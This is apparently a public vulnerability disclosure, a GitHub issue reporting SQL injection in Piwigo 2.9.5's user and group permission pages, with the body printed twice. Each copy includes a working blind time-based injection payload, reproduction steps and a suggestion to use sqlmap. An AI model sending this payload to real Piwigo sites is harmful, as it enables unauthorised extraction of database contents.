SQL Injection vulnerability in admin/user_perm.php in piwigo v2.9.5, via the cat_false parameter to admin.php?page=user_perm.
hi, I found two new vulnerabilities in admin/user_perm.php and admin/group_perm.php

1 :
request  http://xx.xx.xx.xx/admin.php?page=user_perm&user_id=1    /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))```  or use 'sqlmap'
![image](https://user-images.githubusercontent.com/34082644/57291554-41cf1e00-70f2-11e9-8938-125b11837e26.png)
![image](https://user-images.githubusercontent.com/34082644/57291568-485d9580-70f2-11e9-9780-95f438e620cb.png)
![image](https://user-images.githubusercontent.com/34082644/57291587-514e6700-70f2-11e9-8b79-225b7e75ab0d.png)
![image](https://user-images.githubusercontent.com/34082644/57291596-54e1ee00-70f2-11e9-9c2c-2badf3169819.png)


2：
same as the first, request /admin.php?page=user_perm&user_id=1    /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))```  or use 'sqlmap'
![image](https://user-images.githubusercontent.com/34082644/57291880-ee110480-70f2-11e9-84f3-58c089b271c9.png)
![image](https://user-images.githubusercontent.com/34082644/57291889-f36e4f00-70f2-11e9-9a9f-5821e15773d0.png)
![image](https://user-images.githubusercontent.com/34082644/57291899-f9fcc680-70f2-11e9-9bee-baa73064e280.png)
![image](https://user-images.githubusercontent.com/34082644/57291911-008b3e00-70f3-11e9-9def-ed25812f5526.png)

SQL injection in user/group permissions manager
This is a GitHub Issue
repo:Piwigo
owner:Piwigo
Title : SQL injection in user/group permissions manager
Issue date:

--- start body ---
hi, I found two new vulnerabilities in admin/user_perm.php and admin/group_perm.php

1 :
request  http://xx.xx.xx.xx/admin.php?page=user_perm&user_id=1    /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))```  or use 'sqlmap'
![image](https://user-images.githubusercontent.com/34082644/57291554-41cf1e00-70f2-11e9-8938-125b11837e26.png)
![image](https://user-images.githubusercontent.com/34082644/57291568-485d9580-70f2-11e9-9780-95f438e620cb.png)
![image](https://user-images.githubusercontent.com/34082644/57291587-514e6700-70f2-11e9-8b79-225b7e75ab0d.png)
![image](https://user-images.githubusercontent.com/34082644/57291596-54e1ee00-70f2-11e9-9c2c-2badf3169819.png)


2：
same as the first, request /admin.php?page=user_perm&user_id=1    /Need to have a private album
then move the album from the right to the left
payload: ```1 and if(ascii(substr(database(),1,1))>97,1,sleep(5))```  or use 'sqlmap'
![image](https://user-images.githubusercontent.com/34082644/57291880-ee110480-70f2-11e9-84f3-58c089b271c9.png)
![image](https://user-images.githubusercontent.com/34082644/57291889-f36e4f00-70f2-11e9-9a9f-5821e15773d0.png)
![image](https://user-images.githubusercontent.com/34082644/57291899-f9fcc680-70f2-11e9-9bee-baa73064e280.png)
![image](https://user-images.githubusercontent.com/34082644/57291911-008b3e00-70f3-11e9-9def-ed25812f5526.png)

--- end body ---
